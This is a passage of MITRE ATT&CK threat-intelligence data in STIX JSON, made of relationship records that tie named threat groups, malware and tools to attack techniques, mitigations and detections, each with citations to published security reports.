the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2019-07-17T13:11:38.959Z","description":"(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cceffd9-5818-4481-bce6-4e326548d6b4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.454Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) obtains the number of removable drives from the victim.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ccf856f-abd9-4ef6-b17f-803ecb20435f","type":"relationship","created":"2020-11-20T20:11:15.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2020-11-20T20:11:15.194Z","description":"[Machete](https://attack.mitre.org/software/S0409) has used base64 encoding.(Citation: Securelist Machete Aug 2014)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5cd34b85-c6bf-48e7-8cad-3dd2147cca47","created":"2024-09-17T16:17:43.365Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:17:43.365Z","description":"[TA577](https://attack.mitre.org/groups/G1037) has used JavaScript to execute additional malicious payloads.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5cd4af07-d10e-4034-84fc-b8256f08b5cd","created":"2022-02-01T15:08:45.234Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:19:25.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5cd6e7fd-b6c6-4796-91d5-6cf4ab724adf","created":"2023-02-23T18:20:23.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:21:41.716Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used ARP spoofing to redirect a compromised machine to an actor-controlled website.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cd8b8a9-fd11-4405-8369-b12398b94def","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-20T18:03:40.136Z","description":"[AutoIt backdoor](https://attack.mitre.org/software/S0129) attempts to escalate privileges by bypassing User Access Control.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5cdc3bec-bc58-4e23-97a1-cde538035a35","created":"2024-09-18T18:26:32.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:55:08.808Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can use the Windows Component Object Model (COM) to set scheduled tasks.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ce08d76-1b27-42c7-88f0-5591ee4b33af","created":"2024-03-28T14:26:31.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T16:25:00.141Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) installed scheduled tasks defined in XML files.(Citation: FireEye TEMP.Veles 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ce803ed-e46c-4e07-980d-3322325a863e","created":"2024-07-29T22:44:26.585Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:44:26.585Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) used adversary-owned and -controlled servers to host web vulnerability scanning applications.(Citation: SentinelOne WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ce84367-05cc-446e-a744-08a46f103552","created":"2022-09-02T18:56:48.604Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T18:56:48.604Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has registered domains, intended to look like legitimate target domains, that have been used in watering hole attacks.(Citation: TrendMicro EarthLusca 2022) ","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ced50d7-ea22-41c5-9482-2eb61ac4077d","type":"relationship","created":"2020-11-06T19:39:44.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T19:39:44.102Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to set a Registry key to run a cmd.exe command.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cf196e1-fccd-438c-b292-24a3607c1118","type":"relationship","created":"2020-10-20T15:45:24.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:37:34.719Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5cfbd739-de51-4a86-b116-8a8fc09c387f","created":"2024-03-25T16:49:48.210Z","revoked":false,"external_references":[{"source_name":"AcidRain JAGS 2022","description":"Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.","url":"https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T16:49:48.210Z","description":"[AcidRain](https://attack.mitre.org/software/S1125) iterates over device file identifiers on the target, opens the device file, and either overwrites the file or calls various IOCTLS commands to erase it.(Citation: AcidRain JAGS 2022)","relationship_type":"uses","source_ref":"malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cfcbf60-454a-4673-aa93-9020d04efab7","type":"relationship","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","source_name":"Kaspersky Sofacy"}],"modified":"2019-09-09T17:44:35.713Z","description":"(Citation: Kaspersky Sofacy)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}],"modified":"2020-01-17T22:22:30.701Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.(Citation: ESET Sednit Part 1)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d036e42-7ce2-499d-b693-12504c8615ca","type":"relationship","created":"2020-12-28T22:09:15.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.740Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can achieve persitence on the infected machine by setting the Registry run key.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d0c84c6-1f4b-4adf-924a-7b5489bd0933","type":"relationship","created":"2020-02-25T19:19:09.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx","description":"Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.","source_name":"Windows RDP Sessions"}],"modified":"2020-05-20T13:33:51.038Z","description":"Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d157b88-112e-46dc-8047-02adde6e680a","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d1cba64-6732-4263-baee-32aa2ab81183","type":"relationship","created":"2020-01-28T17:05:15.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:17:03.932Z","description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d1d76e6-ecd8-44e7-bc90-7701788dc28e","type":"relationship","created":"2019-09-24T13:37:11.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZEUNION Feb 2019","url":"https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox","description":"Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION’s Toolbox. Retrieved September 24, 2019."}],"modified":"2020-03-18T20:47:53.431Z","description":"(Citation: Secureworks BRONZEUNION Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d1d94e9-c0fd-421f-867f-1a426b0dff99","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-17T01:53:29.421Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) uses the email platform, Naver, for C2 communications, leveraging SMTP.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d1ff7e9-1897-4722-b9d8-1455d53e39a1","created":"2023-09-29T18:38:00.700Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:00.700Z","description":"Monitor contextual data about a file that may highlight embedded malicious content, which may include information such as name, the content (ex: signature, headers, or data/media), file size, etc.; correlate with other suspicious behavior to reduce false positives.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d23f25a-d98a-47a6-8da7-86e8a73c3407","created":"2024-02-21T19:20:07.843Z","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:20:07.843Z","description":"[Akira](https://attack.mitre.org/groups/G1024) uses software such as Advanced IP Scanner and MASSCAN to identify remote hosts within victim networks.(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d26097f-2d6a-4642-857b-109c0f600a73","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2019-07-11T13:53:06.149Z","description":"(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d2ca571-9e66-4949-b3a1-978c47398b18","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"}],"modified":"2019-08-16T18:52:50.636Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d2cc737-7cbc-476f-afbe-a8fafa7043fe","created":"2023-02-14T18:29:16.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:35:50.878Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can detect Avast Software, Doctor Web, Kaspersky, AVG, ESET, and Sophos antivirus programs.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d2d9aea-5ae2-45bd-9276-7af65e50c28f","created":"2024-09-27T12:28:04.614Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T12:28:04.614Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d320f6f-7415-4c94-8c00-2fb3d0ff5036","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a 